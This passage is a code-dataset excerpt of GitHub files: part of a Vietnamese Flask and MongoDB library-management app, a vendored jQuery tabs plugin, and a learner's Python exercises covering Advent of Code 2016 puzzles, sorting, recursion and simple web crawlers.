request.form.get('link')\n bo_nxb = request.form.get('nxb')\n bo_sl = int(request.form.get('sl'))\n bo_price = int(request.form.get('price'))\n update_book_by_id(book_id,bo_names, bo_li, bo_nxb, bo_sl, bo_price)\n return redirect(url_for('indexAB'))\n \[email protected]('/edit_book/<book_id>')\ndef func_name(book_id):\n if 'namedn' in session:\n bo = get_book_by_id(book_id) \n return render_template('edit_book.html',book = bo)\n else:\n return \"Yêu cầu đăng nhập để thực hiện chức năng này\"\n\[email protected]('/AddCardUser')\ndef indexKH():\n return render_template(\"cate_list2.html\")\n \n\[email protected]('/TrangChu')\ndef indexTC():\n return render_template(\"cate_list3.html\")\n\[email protected]('/AddBook')\ndef indexAB(): \n return render_template(\"cate_list.html\",dulieu = get_all())\n\[email protected]('/delete_book/<book_id>')\ndef delete(book_id):\n if 'namedn' in session:\n delete_data_book(book_id)\n return redirect(url_for(\"indexAB\"))\n else:\n return \"Yêu cầu đăng nhập để thực hiện chức năng này\"\n\[email protected]('/NQ')\ndef indexNQ():\n return render_template(\"cate_list4.html\")\n\[email protected]('/QD')\ndef indexQD():\n return render_template(\"cate_list5.html\")\n\[email protected]('/IFU')\ndef indexIFU():\n return render_template(\"cate_list6.html\",dulieu2 = get_all2())\n\[email protected]('/DN')\ndef index():\n return render_template(\"index.html\")\n\[email protected]('/out')\ndef method_name():\n del session ['namedn']\n return redirect(url_for(\"indexTC\"))\n\n\n\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=8000, debug=True)\n "
},
{
"alpha_fraction": 0.6644113659858704,
"alphanum_fraction": 0.6833558678627014,
"avg_line_length": 29.54166603088379,
"blob_id": "b655404bfd4e4fdc54179eedfa8365172bff3527",
"content_id": "157643b69ce59903b2383887e8c073cd56361cde",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 739,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 24,
"path": "/app2.py",
"repo_name": "qltv123/QLTV",
"src_encoding": "UTF-8",
"text": "import pymongo\nfrom bson.objectid import ObjectId\n\nuri = \"mongodb://mrd198:[email protected]:35957/c4e32thuvien\"\nclient = pymongo.MongoClient(uri)\ndb = client.c4e32thuvien\ncollection = db.sach\n\n\ndef get_all():\n return list(collection.find())\n\ndef insert_data_book(names,link,sl,nxb,price):\n collection.insert_one({\"names\":names,\"link\":link,\"sl\":sl,\"nxb\":nxb,\"price\":price})\n\ndef update_book_by_id(book_id,names,link,nxb,sl,price): \n collection.update_one({\"_id\":ObjectId(book_id)},\n {\"$set\":{\"names\":names,\"link\":link,\"nxb\":nxb,\"sl\":sl,\"price\":price}})\n\ndef get_book_by_id(book_id): \n return collection.find_one({\"_id\": ObjectId(book_id)})\n\ndef delete_data_book(book_id):\n collection.delete_one({\"_id\": ObjectId(book_id)})\n \n\n"
},
{
"alpha_fraction": 0.6702820062637329,
"alphanum_fraction": 0.7114967703819275,
"avg_line_length": 37.5,
"blob_id": "d0a4052818ee25ea79f7bdc727964ae3039df4f2",
"content_id": "c08e84ee278fda7d7ee4c86fcaa0be9fbbe52c98",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 461,
"license_type": "no_license",
"max_line_length": 166,
"num_lines": 12,
"path": "/app3.py",
"repo_name": "qltv123/QLTV",
"src_encoding": "UTF-8",
"text": "import pymongo\n\nuri = \"mongodb://mrd198:[email protected]:35957/c4e32thuvien\"\nclient = pymongo.MongoClient(uri)\ndb = client.c4e32thuvien\ncollection = db.user\n\ndef get_all2():\n return list(collection.find())\n\ndef insert_data_user(namek,sex,birth,cmt,job,level,wp,phone,ct,city,add,time):\n collection.insert_one({'namek':namek,'sex':sex,'birth': birth,'cmt':cmt,'job':job,'level':level,'wp':wp,'phone':phone, 'ct':ct,'city':city,'add':add,'time':time})"
},
{
"alpha_fraction": 0.44945356249809265,
"alphanum_fraction": 0.45286884903907776,
"avg_line_length": 40.85714340209961,
"blob_id": "20652f176a952879911eccd72dcba61c872c06a1",
"content_id": "1d9fc4a5292b6a3dfb1b9dc1946e38e6eec3ed8e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": true,
"language": "JavaScript",
"length_bytes": 1464,
"license_type": "no_license",
"max_line_length": 292,
"num_lines": 35,
"path": "/static/New folder/jquery-ui-tabs-rotate.js",
"repo_name": "qltv123/QLTV",
"src_encoding": "UTF-8",
"text": "(function(n) {\n n.extend(n.ui.tabs.prototype, {\n rotation: null,\n rotationDelay: null,\n continuing: null,\n rotate: function(n, i) {\n var r = this,\n f = this.options,\n u, e;\n return (n > 1 || r.rotationDelay === null) && n !== undefined && (r.rotationDelay = n), i !== undefined && (r.continuing = i), u = r._rotate || (r._rotate = function(t) {\n clearTimeout(r.rotation);\n r.rotation = setTimeout(function() {\n var n = f.selected;\n r.select(++n < r.anchors.length ? n : 0)\n }, n);\n t && t.stopPropagation()\n }), e = r._unrotate || (r._unrotate = i ? function() {\n t = f.selected;\n u()\n } : function(n) {\n n.clientX && r.rotate(null)\n }), n ? (this.element.bind(\"tabsshow\", u), this.anchors.bind(f.event + \".tabs\", e), u()) : (clearTimeout(r.rotation), this.element.unbind(\"tabsshow\", u), this.anchors.unbind(f.event + \".tabs\", e), delete this._rotate, delete this._unrotate), n === 1 && (n = r.rotationDelay), this\n },\n pause: function() {\n var n = this,\n t = this.options;\n n.rotate(0)\n },\n unpause: function() {\n var n = this,\n t = this.options;\n n.rotate(1, n.continuing)\n }\n })\n})(jQuery);"
}
] | 4 |
0mod0/AoC_2016 | https://github.com/0mod0/AoC_2016 | b2da960ce7ba761b394cf84e08ea5cc6410e0361 | 27ad356f56fc73808d268d02a70c2e105bf97d5e | d2ec091154b90ca4e354849bcd1d0df8a88080d2 | refs/heads/master | 2021-01-23T01:26:41.035514 | 2017-05-31T01:27:55 | 2017-05-31T01:27:55 | 92,875,485 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4967845678329468,
"alphanum_fraction": 0.5042872428894043,
"avg_line_length": 18.652631759643555,
"blob_id": "0c5ae4876241ccb71a3cb5965da34dc69c9cc7ae",
"content_id": "b9525a4cc7f60a47473af2936e55692e923d404f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1866,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 95,
"path": "/AoC_04_ObscureSecurity/main.py",
"repo_name": "0mod0/AoC_2016",
"src_encoding": "UTF-8",
"text": "# I did this as fast as I could don't judge my shitty code\n\nimport collections as col\n\ndef readInput(filename):\n f = open(filename)\n rList = []\n\n for line in f:\n room = line.strip(\"\\n \").split('-')\n # print(room)\n rList.append(room)\n\n return rList\n\ndef listify(L):\n tempList = []\n for i in L:\n tempList.append(i)\n\n # print(tempList)\n return tempList\n\ndef Main(rlist):\n Rooms = []\n for r in rlist:\n ID_SUM = r.pop()\n ID_SUM = ID_SUM.strip(\"]\\n\").split(\"[\")\n # print(ID_SUM)\n ID = ID_SUM[0]\n SUM = listify(ID_SUM[1])\n # print(SUM)\n NAME = \"\"\n for part in r:\n NAME = NAME + part\n\n checkSum(NAME, SUM)\n\n\ndef checkSum(name, csum):\n testSum = []\n checkSum = csum\n print(\" \")\n mostCommon(name)\n pass\n\ndef mostCommon(string):\n name = sorted(string)\n cList = []\n\n for char in name:\n existing = False\n if len(cList) == 0:\n existing = False\n else:\n for i in cList:\n if char == i[1]:\n i[0] += 1\n existing = True\n if existing == False:\n tempCharCount = [1, char]\n cList.append(tempCharCount)\n\n cList.sort()\n tempList = []\n curIndex = 0\n lastIndex = 0\n\n # run through cList\n # add all same-numbered chars to same-num lists in alph. order\n #\n\n for x in xrange(len(cList, 0, -1)):\n # print(x)\n curIndex = cList[x][0]\n if lastIndex > curIndex:\n # if the previous index is greater than the current index\n # add current index to new list\n pass\n elif curIndex == lastIndex:\n pass\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n rList = readInput(\"input.txt\")\n\n Main(rList)\n # room1 = Room(roomList[0])"
},
{
"alpha_fraction": 0.46341463923454285,
"alphanum_fraction": 0.46934738755226135,
"avg_line_length": 16.033708572387695,
"blob_id": "bd8ce24f463a0f36c0b2729ecd7e621f05557f3a",
"content_id": "be69f6e996bf00dc93207b6409fbc7e33ac231a1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1517,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 89,
"path": "/AoC_01_Taxicab/main.py",
"repo_name": "0mod0/AoC_2016",
"src_encoding": "UTF-8",
"text": "from Position import *\n\ndef readInput(filename):\n f = open(filename)\n dirs = []\n\n for i in f:\n d = i.strip(\",\\n\").split(' ')\n dirs.append(d)\n\n # print(f)\n return dirs\n\ndef getDirVect():\n dirs = readInput(\"input.txt\")\n vect = []\n mag = []\n dirs = dirs.pop(0)\n\n for i in dirs:\n v = i[0]\n vect.append(v)\n for j in dirs:\n m = j[1:]\n m = m.strip(\", \")\n m = int(m)\n mag.append(m)\n\n return vect, mag\n\ndef simpleRun(position, vector, magnitude):\n p = position.rPos()\n v = vector\n m = magnitude\n length = len(v)\n for i in range(len(v)):\n if v[i]=='R':\n p[0] += 1\n elif m[i]=='L':\n p[0] -= 1\n return p\n\n\ndef fullRun(position, vector, magnitude):\n p = position\n v = vector\n m = magnitude\n length = len(v)\n\n for i in range(length):\n # print(m[i])\n # print(\"Dir: \", v[i], \", Mag:\", m[i])\n\n mag = m[i]\n if v[i] == 'R':\n # print(m[i])\n p.turnRight(mag)\n\n elif v[i] == 'L':\n # print(m[i])\n p.turnLeft(mag)\n\n coor = p.rPos()\n\n coor = coor[0]+coor[1]\n\n return coor\n\n\n\n\n\nif __name__ == \"__main__\":\n directions = readInput(\"input.txt\")\n pos = Position()\n\n vects, mags = getDirVect()\n if len(vects) != len(mags):\n print(\"ERROR\")\n\n index = len(vects)\n\n coord = fullRun(pos, vects, mags)\n\n print(coord)\n\n # loc = simpleRun(pos, vects, mags)\n\n # print(loc)\n\n"
},
{
"alpha_fraction": 0.31590574979782104,
"alphanum_fraction": 0.36450663208961487,
"avg_line_length": 18.399999618530273,
"blob_id": "dfc91372f790e311b8044dad78fbf1bc187b6816",
"content_id": "6951c1719465ef3726b416a52a5cc9b971443099",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1358,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 70,
"path": "/AoC_01_Taxicab/Position.py",
"repo_name": "0mod0/AoC_2016",
"src_encoding": "UTF-8",
"text": "class Position(object):\n \"\"\"docstring for ClassName\"\"\"\n def __init__(self, position=[0,0,0]):\n self.pos = position\n\n # def mLeft():\n # minusX():\n\n def minusX(self):\n self.pos[0] -= 1\n\n def plusX(self):\n self.pos[0] += 1\n\n def minusY(self):\n self.pos[1] -= 1\n\n def plusY(self):\n self.pos[1] += 1\n\n def rPos(self):\n return self.pos\n\n def turnRight(self, mag):\n p = self.pos\n if p[2] == 3:\n p[2] = 0\n elif p[2] < 3:\n p[2] += 1\n\n # 0 -> North | 1 -> East\n # 2 -> South | 3 -> West\n\n if p[2] == 0:\n p[1] += mag\n elif p[2] == 1:\n p[0] += mag\n elif p[2] == 2:\n p[1] -= mag\n elif p[2] == 3:\n p[0] -= mag\n\n self.pos = p\n\n def turnLeft(self, mag):\n p = self.pos\n if p[2] == 0:\n p[2] = 3\n elif p[2] > 0:\n p[2] -= 1\n\n # 0 -> North | 1 -> East\n # 2 -> South | 3 -> West\n\n if p[2] == 0:\n p[1] += mag\n elif p[2] == 1:\n p[0] += mag\n elif p[2] == 2:\n p[1] -= mag\n elif p[2] == 3:\n p[0] -= mag\n\n self.pos = p\n\n\n # variables\n # position = (x, y, dir)\n # dir --> 0=north, 1=east, 2=south, 3=west\n pos = [0,0,0]\n"
},
{
"alpha_fraction": 0.4844322204589844,
"alphanum_fraction": 0.5045787692070007,
"avg_line_length": 15.815384864807129,
"blob_id": "abb93ef2185bf852d20b59b47a6a3956ce3a3014",
"content_id": "5dae7f24e677bbf1fc6a220a16b0e9185f91f7fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1092,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 65,
"path": "/AoC_03_3SideSquare/main.py",
"repo_name": "0mod0/AoC_2016",
"src_encoding": "UTF-8",
"text": "def readInput(filename):\n f = open(filename)\n tSet = []\n\n for line in f:\n t = line.strip(\"\\n \").split()\n tSet.append(t)\n\n tSet = toInt(tSet)\n # print(tSet)\n return tSet\n\ndef toInt(triangles):\n tempSet = []\n for t in triangles:\n tempTri = []\n for v in t:\n v = int(v)\n tempTri.append(v)\n tempSet.append(tempTri)\n\n return tempSet\n\n\ndef checkSides(triangle):\n s0 = triangle[0]\n # print(s0)\n\n s1 = triangle[1]\n # print(s1)\n\n s2 = triangle[2]\n # print(s2)\n\n if s0+s1 <= s2:\n return False\n elif s0+s2 <= s1:\n return False\n elif s1+s2 <= s0:\n return False\n else:\n return True\n\ndef mainRun(triangleSet):\n numValid = 0\n numInvalid = 0\n\n for tri in triangleSet:\n valid = checkSides(tri)\n\n if valid:\n # print(\"Valid\")\n numValid += 1\n else:\n # print(\"Invalid\")\n numInvalid += 1\n\n print(numValid)\n\n\nif __name__ == '__main__':\n\n triSet = readInput('input.txt')\n\n mainRun(triSet)"
},
{
"alpha_fraction": 0.4305301606655121,
"alphanum_fraction": 0.46252286434173584,
"avg_line_length": 19.790475845336914,
"blob_id": "377e43c8f32f81d41a2c668098422981c3434d8e",
"content_id": "2da9b969821b34fd954aed4b0c77a3d42123aa37",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2188,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 105,
"path": "/AoC_01_Taxicab/part2.py",
"repo_name": "0mod0/AoC_2016",
"src_encoding": "UTF-8",
"text": "'''\nIvan Leon\nAdvent of Code\nwww.adventofcode.com\nDay 1 Part 2\n'''\n# Takes in input file name and returns list of instructions\ndef readInput(filename):\n f = open(filename, 'r')\n f = f.readlines()[0].split(', ')\n\n temp = []\n for i in f:\n turn = i[0]\n amount = int(i[1:len(i)])\n inst = [turn, amount]\n temp.append(inst)\n\n return temp\n\n\ndef turnRight(amount, position):\n pos = position\n if pos[2] == 3:\n pos[2] = 0\n elif pos[2] < 3:\n pos[2] += 1\n\n # 0 -> North | 1 -> East\n # 2 -> South | 3 -> West\n\n if pos[2] == 0:\n pos[1] += amount\n elif pos[2] == 1:\n pos[0] += amount\n elif pos[2] == 2:\n pos[1] -= amount\n elif pos[2] == 3:\n pos[0] -= amount\n\n return pos\n\ndef turnLeft(amount, position):\n pos = position\n if pos[2] == 0:\n pos[2] = 3\n elif pos[2] > 0:\n pos[2] -= 1\n\n # 0 -> North | 1 -> East\n # 2 -> South | 3 -> West\n\n if pos[2] == 0:\n pos[1] += amount\n elif pos[2] == 1:\n pos[0] += amount\n elif pos[2] == 2:\n pos[1] -= amount\n elif pos[2] == 3:\n pos[0] -= amount\n\n return pos\n\n\n\n\nif __name__ == '__main__':\n position = [0,0,0]\n SOLUTION = []\n\n\n instructions = readInput('input.txt')\n locations = []\n print(len(locations))\n\n for step in instructions:\n if len(locations) == 0:\n # continue\n # print(\"FUCK\")\n pass\n else:\n for p in locations:\n # print(\"this\")\n if p == position:\n SOLUTION = position\n dist = abs(SOLUTION[0]+SOLUTION[1])\n print(\"Easter Bunny HQ is at: (\",SOLUTION[0],\",\",SOLUTION[1],\")\" )\n\n\n\n if step[0]=='R':\n # turn right\n for i in range(0,step[1]):\n locations.append(position)\n position = turnRight(1, position)\n else:\n # turn left\n for i in range(0,step[1]):\n locations.append(position)\n position = turnLeft(1, position)\n\n\n # SOLUTION\n # print(position)\n # print(position[0]+position[1])\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.4268715977668762,
"alphanum_fraction": 0.4605850279331207,
"avg_line_length": 18.01886749267578,
"blob_id": "7f53622f14622397c287377ae848d8bcbfa4244b",
"content_id": "32c376fa16dd6cc467678b502eba036abcc4480d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2017,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 106,
"path": "/AoC_02_BathroomSecurity/main.py",
"repo_name": "0mod0/AoC_2016",
"src_encoding": "UTF-8",
"text": "\ndef readInput(filename):\n f = open(filename)\n instructionSet = []\n numLength = 0\n\n for line in f:\n numLength += 1\n buttonSet = line.strip(\"\\n \")\n tempSet = []\n\n for move in buttonSet:\n tempSet.append(move)\n\n buttonSet = tempSet\n\n instructionSet.append(buttonSet)\n\n return instructionSet\n\ndef moveUp(position):\n p = position\n\n if p[0] == 0 or KEYPAD_2[p[0]-1][p[1]]=='X':\n pass\n elif p[0] > 0:\n p[0] -= 1\n\n return p\n\ndef moveDown(position):\n p = position\n\n if p[0] == 4 or KEYPAD_2[p[0]+1][p[1]]=='X':\n pass\n elif p[0] < 4:\n p[0] += 1\n\n return p\n\ndef moveLeft(position):\n p = position\n\n if p[1] == 0 or KEYPAD_2[p[0]][p[1]-1]=='X':\n pass\n elif p[1] > 0:\n p[1] -= 1\n\n return p\n\ndef moveRight(position):\n p = position\n\n if p[1] == 4 or KEYPAD_2[p[0]][p[1]+1]=='X':\n pass\n elif p[1] < 4:\n p[1] += 1\n\n return p\n\ndef getKey(position):\n key = KEYPAD_2[position[0]][position[1]]\n\n return key\n\ndef mainRun(instructions, position, codeSet):\n iSet = instructions\n\n for buttonSet in iSet:\n button = 0\n for move in buttonSet:\n if move == 'U':\n position = moveUp(position)\n elif move == 'D':\n position = moveDown(position)\n elif move == 'L':\n position = moveLeft(position)\n elif move == 'R':\n position = moveRight(position)\n # print(position)\n button = getKey(position)\n print(button)\n\n\n\n\n\n\nif __name__ == '__main__':\n\n KEYPAD_1 = [[1,2,3],\n [4,5,6],\n [7,8,9]]\n\n KEYPAD_2 = [['X','X', 1 ,'X','X'],\n ['X', 2 , 3 , 4 ,'X'],\n [ 5 , 6 , 7 , 8 , 9 ],\n ['X','A','B','C','X'],\n ['X','X','D','X','X']]\n\n KEY_POS = [2,0]\n\n CODE = []\n\n INSTRUCTIONS = readInput('input.txt')\n\n mainRun(INSTRUCTIONS, KEY_POS, CODE)\n"
}
] | 6 |
corgibrother/fcwps | https://github.com/corgibrother/fcwps | 2e584e6706435921cb4ae45cfb9a96a20ca00378 | f1807044c23ea2c417c6cd076f01f7621e9cea78 | af50524e2c7bd3c5d9d0587387ddd24dbbcb6ac1 | refs/heads/master | 2017-12-18T13:36:57.972961 | 2017-01-20T06:29:16 | 2017-01-20T06:29:16 | 77,097,978 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6927297711372375,
"alphanum_fraction": 0.706447184085846,
"avg_line_length": 22.483871459960938,
"blob_id": "2bf48d242d8225fd437c04aefbadaa23520a9e0a",
"content_id": "e70aea7802c66deebda3269b125e2aa92c0ccaac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 729,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 31,
"path": "/pre_day5/rotten_crawling.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "import urllib.request\nfrom bs4 import BeautifulSoup\n\nurl = \"https://www.rottentomatoes.com/m/titanic\"\nhtml = urllib.request.urlopen(url)\nsource = html.read()\nhtml.close()\n\nsoup = BeautifulSoup(source, \"html.parser\")\n\ntable_1 = soup.find(id=\"tomato_meter_link\")\ntable_2 = soup.find(id=\"scorePanel\")\n\nall_score = table_2.find_all(\"span\", attrs={\"class\":\"superPageFontColor\"})\n\n# print(all_score)\n\n\"\"\"\nfor i in range(0,len(all_score)):\n print(all_score[i])\n\"\"\"\n\ntomatometer = all_score[0].text\naudience = all_score[12].text\n\n\"\"\"\ntomatometer = table_1.find(\"span\", attrs={\"class\":\"meter-value superPageFontColor\"}).text\naudience = table_2.find(\"span\", attrs={\"class\":\"superPageFontColor\"}).text\n\"\"\"\n\nprint(tomatometer, audience)\n\n"
},
{
"alpha_fraction": 0.5902636647224426,
"alphanum_fraction": 0.6064908504486084,
"avg_line_length": 24.894737243652344,
"blob_id": "c11e64c60918d3f827003f32046f2b4b9e273644",
"content_id": "870b98a8a6cbc60f5982314535ef296fb848d412",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 493,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 19,
"path": "/pre_day4/bubble_sort.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "def bubble_sort(li, count):\n if count == 1:\n return li\n for i in range(0, count-1):\n if li[i] > li[i+1]:\n li[i], li[i+1] = li[i+1], li[i]\n count -= 1\n return bubble_sort(li, count)\n\nbubble_list = []\ncount = int(input(\"How many numbers will you input? \"))\n\nfor i in range(0, count):\n bubble_list.append(int(input(\"What number will you input? \")))\n\nprint(bubble_list)\nbubble_len = len(bubble_list)\nbubble_sort(bubble_list, bubble_len)\nprint(bubble_list)\n\n"
},
{
"alpha_fraction": 0.6037036776542664,
"alphanum_fraction": 0.6333333253860474,
"avg_line_length": 22.45652198791504,
"blob_id": "0fd2b8cf303a37a8ed4e780d44e4cb3f44dd1634",
"content_id": "bb6ad941e81221a11516e7f67bbdb0b367c36a0b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1080,
"license_type": "no_license",
"max_line_length": 145,
"num_lines": 46,
"path": "/pre_day5/naver_crawling.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "import urllib.request\nfrom bs4 import BeautifulSoup\n\nurl =\"https://search.naver.com/search.naver?where=nexearch&query=%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4&sm=top_hty&fbm=1&ie=utf8\"\nhtml = urllib.request.urlopen(url)\nsource = html.read()\nhtml.close()\n\nsoup = BeautifulSoup(source, \"html.parser\")\n\n# print(soup)\n\nall_id = [\"sp_blog_1\", \"sp_blog_2\", \"sp_blog_3\", \"sp_blog_4\", \"sp_blog_5\"]\n\nfor i in all_id:\n blog = soup.find(id=i)\n all_dt = blog.find_all(\"dt\")\n blog_link = all_dt[0].a['href']\n blog_name = all_dt[0].a.text\n print(blog_link, blog_name)\n\n\"\"\"\nblog_1 = soup.find(id=\"sp_blog_1\")\n\nall_dt = blog_1.find_all(\"dt\")\nblog_1_link = all_dt[0].a['href']\nblog_1_name = all_dt[0].a.text\n\nprint(blog_1_link, blog_1_name)\n\"\"\"\n\n\"\"\"\ntable = soup.find(id=\"main_pack\")\n\n# print(table)\n\nall_li = table.find_all(\"li\")\n\n# print(all_li)\n\nfor li in all_li:\n all_dt = all_li.find_all(\"dt\")\n blog_link = all_dt.find(\"a\", attrs={\"class\":\"sh_blog_title _sp_each_url _sp_each_title\"}).href\n blog_name = all_dt.a.text\n print(blog_link, blog_name)\n\"\"\"\n\n"
},
{
"alpha_fraction": 0.5554258823394775,
"alphanum_fraction": 0.604434072971344,
"avg_line_length": 14.851851463317871,
"blob_id": "ab1c78c9961e03c8dbe631b9163d51a64f9800a5",
"content_id": "87aa959770419660e572f8ca17c9ca13fc0a3036",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 857,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 54,
"path": "/pre_day1/day_1.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "# Hello python!\nprint(\"hello python!\")\n\n# Numbers & Math\nprint(3 + 7)\nprint(10 - 3)\nprint(15 / 7)\nprint(34 * 100)\n\n# Boolean\nprint(3 < 7)\nprint(10 < 3)\nprint(15 > 7)\nprint(34 == 100)\n\n# Variable\nprint(\"Hello python!\")\nhello = \"hello\"\npython = \"python!\"\nprint(hello, python)\n\nnum1 = 14\nnum2 = 5\n\nprint(num1 + num2)\nprint(num1 - num2)\nprint(num1 * num2)\nprint(num1 / num2)\n\n# input\nname = input(\"What is your name? \")\nprint(\"Hi, \", name)\n\n# input with evaluation\ninput(\"How old are you? \")\neval(input(\"How old are you? \"))\n\n# String Formatting\nprint(\"I have a %s, I have an %s.\" % (\"pen\", \"apple\"))\n\n# String Functions\ncomma = \",\"\nfunc = comma.join('python')\n\nfunc.split(',')\n\n# List, Tuple, Dictionary\nanimals = ['', '', '']\nanimals = ('', '', '')\nuser = {'name': 'fastcampus', 'age': '27', 'city':['seoul', 'busan', 'incheon']}\n\n# test_code\n\n# test_code_2\n\n"
},
{
"alpha_fraction": 0.5488505959510803,
"alphanum_fraction": 0.568965494632721,
"avg_line_length": 17.263158798217773,
"blob_id": "85aa35164a189278edd45d26c7fc884d78f2d76f",
"content_id": "10df7ee560e33637803a28337a9f842ef8f6958d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 348,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 19,
"path": "/pre_day2/day_2.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "# For, while\nfor i in [\"python\", \"java\", \"golang\"]:\n print(i)\n\n# For while\nsum = 0\nfor i in range(1, 11):\n sum += i\n print(sum)\n\n# List Comprehension\nresult = [i for i in range(1, 11)]\nprint(result)\n\n# For, while\nname = ''\nwhile name != \"foo bar\":\n name = input(\"What's your name? \")\n print(\"Hi, \" + name + \"So, where is foo bar?\")\n\n"
},
{
"alpha_fraction": 0.5317460298538208,
"alphanum_fraction": 0.5714285969734192,
"avg_line_length": 12.88888931274414,
"blob_id": "a26760792e83b7a191053c3269da6178a85010cb",
"content_id": "b228798b4276b7e49b2af11fb3521c70ae7c5c71",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 126,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 9,
"path": "/pre_day4/recursion.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "def recursion(num):\n if num == 1:\n return 1;\n\n return recursion(num - 1) + num\n\nsum = recursion(50)\n\nprint(sum)\n\n"
},
{
"alpha_fraction": 0.7083333134651184,
"alphanum_fraction": 0.7083333134651184,
"avg_line_length": 22,
"blob_id": "c68ba41a92c11a9df7ec4b9d8abbadf2766f9ad4",
"content_id": "ef69147be60857ff3f0b130e389e4be268647caf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 24,
"license_type": "no_license",
"max_line_length": 22,
"num_lines": 1,
"path": "/pre_day1/day_1_branch.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "# this is first branch\n\n"
},
{
"alpha_fraction": 0.5703324675559998,
"alphanum_fraction": 0.572890043258667,
"avg_line_length": 17.571428298950195,
"blob_id": "85fd6698d0cfea86491ab8d0558dff68452adc93",
"content_id": "d0d4bb9f9939dee7b05c5d5b8328bb593e90146e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 391,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 21,
"path": "/pre_day4/hanoi_tower.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "def hanoi(para):\n if para == []:\n return to_list\n for i in para:\n by_list.append(i)\n print(\"by: \", by_list)\n hanoi(by_list)\n\nfrom_list = []\nby_list = []\nto_list = []\n\ncount = int(input(\"what's your floors?: \"))\n\nfor i in range(0, count):\n from_list.append(input(\"what's your number?: \"))\n\nfrom_list.sort()\nprint(\"from: \", from_list)\n\nto_list = hanoi(from_list)\n\n"
},
{
"alpha_fraction": 0.4126984179019928,
"alphanum_fraction": 0.5714285969734192,
"avg_line_length": 9.333333015441895,
"blob_id": "ec6ffc7b4d0a91179957ee3fde2849938eaf1ee8",
"content_id": "53802f721a57057156cc8bb25a21b4ceb157dc53",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 63,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 6,
"path": "/pre_day4/data_structure.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "sum = 0\n\nfor i in range(1,10000000):\n sum += i\n\nprint(sum)\n\n"
},
{
"alpha_fraction": 0.4327485263347626,
"alphanum_fraction": 0.4912280738353729,
"avg_line_length": 20.25,
"blob_id": "227e9306c5731d28a3d211f7c20591dc7540b56d",
"content_id": "34332c6301066c2a5928031d9e0a0fe255708f62",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 171,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 8,
"path": "/pre_day2/leap_year.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "def is_leap(y):\n leap = False\n if y % 4 == 0 and (y % 100 != 0 or y % 400 == 0):\n leap = True\n return leap\n\ny = int(input(\"Is leap? \"))\nprint(is_leap(y))\n\n"
},
{
"alpha_fraction": 0.5843373537063599,
"alphanum_fraction": 0.5843373537063599,
"avg_line_length": 32,
"blob_id": "3507d516fc326780ff52e52923b4327b3bca7226",
"content_id": "8f304d6f320bb5029e5a12fc3d2b197a7796f8fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 166,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 5,
"path": "/pre_day2/numguess_function.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "def guesser(guess):\n if guess == answer:\n print(\"Correct! The answer was \", str(answer))\n else:\n print(\"That's not what I wanted!! Try again!!\")\n\n"
},
{
